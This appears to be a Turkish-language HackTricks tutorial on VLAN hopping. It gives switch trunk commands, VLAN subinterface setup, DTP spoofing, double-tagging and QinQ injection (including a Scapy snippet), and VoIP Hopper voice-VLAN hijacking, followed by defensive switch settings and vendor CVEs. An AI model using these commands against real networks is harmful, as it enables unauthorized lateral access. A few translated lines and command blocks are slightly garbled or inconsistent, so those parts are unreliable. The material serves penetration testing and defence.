Lateral VLAN Segmentation Bypass
Reading time: 7 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Eğer bir anahtara doğrudan erişim mevcutsa, VLAN segmentasyonu atlatılabilir. Bu, bağlı portun trunk moduna yeniden yapılandırılmasını, hedef VLAN'lar için sanal arayüzlerin oluşturulmasını ve senaryoya bağlı olarak IP adreslerinin dinamik (DHCP) veya statik olarak ayarlanmasını içerir (daha fazla bilgi için https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9).
Öncelikle, belirli bağlı portun tanımlanması gereklidir. Bu genellikle CDP mesajları aracılığıyla veya include maskesi ile portu arayarak gerçekleştirilebilir.
Eğer CDP çalışmıyorsa, port tanımlaması MAC adresini arayarak yapılmaya çalışılabilir:
SW1(config)# show mac address-table | include 0050.0000.0500
Trunk moduna geçmeden önce, mevcut VLAN'ların bir listesi derlenmeli ve tanımlayıcıları belirlenmelidir. Bu tanımlayıcılar daha sonra arayüze atanır ve trunk üzerinden çeşitli VLAN'lara erişim sağlanır. Kullanılan port, örneğin, VLAN 10 ile ilişkilidir.
SW1# show vlan brief
Trunk moduna geçiş yapmak, arayüz yapılandırma moduna girmeyi gerektirir:
SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk
Trunk moduna geçmek, bağlantıyı geçici olarak kesintiye uğratacaktır, ancak bu daha sonra geri getirilebilir.
Sanal arayüzler oluşturulur, VLAN kimlikleri atanır ve etkinleştirilir:
# Legacy (vconfig) – still works but deprecated in modern kernels
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
sudo vconfig add eth0 60
sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up
# Modern (ip-link – preferred)
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip link set eth0.10 up
sudo ip link set eth0.20 up
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
Sonrasında, DHCP aracılığıyla bir adres talebi yapılır. Alternatif olarak, DHCP'nin mümkün olmadığı durumlarda, adresler manuel olarak yapılandırılabilir:
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
Bir arayüzde (VLAN 10) statik bir IP adresi manuel olarak ayarlamak için örnek:
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
# or
sudo ip addr add 10.10.10.66/24 dev eth0.10
Bağlantı, VLAN'lar 10, 20, 50 ve 60 için varsayılan ağ geçitlerine ICMP istekleri başlatarak test edilir.
Sonuç olarak, bu süreç VLAN segmentasyonunun aşılmasını sağlar ve böylece herhangi bir VLAN ağına sınırsız erişim imkanı tanır ve sonraki eylemler için zemin hazırlar.
Diğer VLAN-Hopping Teknikleri (yetkili anahtar CLI olmadan)
Önceki yöntem, anahtara kimlik doğrulamalı konsol veya Telnet/SSH erişimi olduğunu varsayar. Gerçek dünya etkileşimlerinde, saldırgan genellikle normal erişim portuna bağlıdır. Aşağıdaki Layer-2 hileleri, anahtar işletim sistemine hiç giriş yapmadan yanlamasına geçiş yapmanıza genellikle izin verir:
1. Dinamik Trunking Protokolü (DTP) ile Anahtar-Spoofing
DTP'yi etkin tutan Cisco anahtarları, eşin bir anahtar olduğunu iddia etmesi durumunda bir trunk müzakeresi yapmaktan memnuniyet duyar. Tek bir DTP “istenen” veya “trunk” çerçevesi oluşturmak, erişim portunu tüm izin verilen VLAN'ları taşıyan bir 802.1Q trunk'a dönüştürür.
Yersinia ve birkaç PoC süreci otomatikleştirir:
# Become a trunk using Yersinia (GUI)
sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof)
git clone https://github.com/fleetcaptain/dtp-spoof.git
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
Recon yardımcı (pasif olarak portun DTP durumunu parmak iziyle belirleme):
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
# or
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
sudo python3 dtpscan.py -i eth0
Bir kez port trunk moduna geçtiğinde, 802.1Q alt arayüzleri oluşturabilir ve önceki bölümde gösterildiği gibi tam olarak geçiş yapabilirsiniz.
2. Double-Tagging (Native-VLAN Suistimali)
Eğer saldırgan native (etiketsiz) VLAN üzerinde oturuyorsa, iki 802.1Q başlığına sahip bir çerçeve, port erişim modunda kilitli olsa bile ikinci bir VLAN'a geçebilir. VLANPWN DoubleTagging.py (2022-2025 güncellemesi) gibi araçlar enjeksiyonu otomatikleştirir:
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54
3. QinQ (802.1ad) Stacking
Birçok kurumsal çekirdek, Q-in-Q hizmet sağlayıcı kapsüllemeyi destekler. İzin verildiğinde, bir saldırgan, güvenlik bölgelerini aşmak için bir sağlayıcı (S-tag) içinde rastgele 802.1Q etiketli trafiği tünelleme yapabilir. Ethertype 0x88a8
için yakalama yapın ve dış etiketi Scapy ile çıkarmayı deneyin:
from scapy.all import *
outer = 100 # Service tag
inner = 30 # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
4. LLDP/CDP Üzerinden Voice-VLAN Ele Geçirme (IP-Phone Spoofing)
Kurumsal erişim portları genellikle “erişim + ses” yapılandırmasında bulunur: iş istasyonu için etiketlenmemiş veri VLAN'ı ve CDP veya LLDP-MED aracılığıyla duyurulan etiketli ses VLAN'ı. Bir IP telefonunu taklit ederek, saldırgan otomatik olarak VoIP VLAN'ını keşfedebilir ve bu VLAN'a geçiş yapabilir—DTP devre dışı olsa bile.
VoIP Hopper (Kali 2025.2 içinde paketlenmiştir) CDP, DHCP seçenekleri 176/242 ve tam LLDP-MED spoofing desteği sunar:
# One-shot discovery & hop
sudo voiphopper -i eth0 -f cisco-7940
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
sudo voiphopper -i eth0 -z
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
Teknik, veri/ses ayrımını atlar ve 2025'te birçok modelde LLDP otomatik politikası varsayılan olarak etkin olduğu için kurumsal kenar anahtarlarında son derece yaygındır.
Savunma Önerileri
- Tüm kullanıcıya açık portlarda DTP'yi devre dışı bırakın:
switchport mode access
+switchport nonegotiate
. - Her trunk'taki yerel VLAN'ı kullanılmayan, kara delik VLAN'ı olarak değiştirin ve etiketleyin:
vlan dot1q tag native
. - Trunk'larda gereksiz VLAN'ları budayın:
switchport trunk allowed vlan 10,20
. - Kaçak Layer-2 etkinliğini sınırlamak için port güvenliğini, DHCP snooping'i, dinamik ARP denetimini ve 802.1X'i zorunlu kılın.
- IP telefon sahteciliği gerekmiyorsa LLDP-MED otomatik ses politikalarını devre dışı bırakın (veya bunları kimlik doğrulaması yapılmış MAC OUI'lerine kilitleyin).
- Sadece 802.1Q ayrımına güvenmek yerine özel VLAN'ları veya L3 segmentasyonunu tercih edin.
Gerçek Dünya Satıcı Zafiyetleri (2022-2024)
Mükemmel bir şekilde sertleştirilmiş bir anahtar yapılandırması bile firmware hataları tarafından zayıflatılabilir. Son örnekler şunlardır:
- CVE-2022-20728† – Cisco Aironet/Catalyst Erişim Noktaları, yerel VLAN'dan yerel olmayan WLAN VLAN'larına enjeksiyona izin vererek kablolu/kablosuz segmentasyonu atlar.
- CVE-2024-20465 (Cisco IOS Endüstriyel Ethernet), Dayanıklı Ethernet Protokolü'nü değiştirdikten sonra SVI'lerde ACL atlamasına izin verir, VRF'ler/VLAN'lar arasında trafik sızdırır. Yamanın 17.9.5 veya daha yenisi.
Her zaman VLAN ile ilgili atlama/ACL sorunları için satıcı tavsiyelerini izleyin ve altyapı görüntülerini güncel tutun.
Referanslar
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- VLANPWN saldırı aracı seti – https://github.com/casterbytethrowback/VLANPWN
- Twingate "VLAN Hopping Nedir?" (Ağu 2024) – https://www.twingate.com/blog/glossary/vlan%20hopping
- VoIP Hopper projesi – https://github.com/hmgh0st/voiphopper
- Cisco Tavsiyesi “cisco-sa-apvlan-TDTtb4FY” – https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.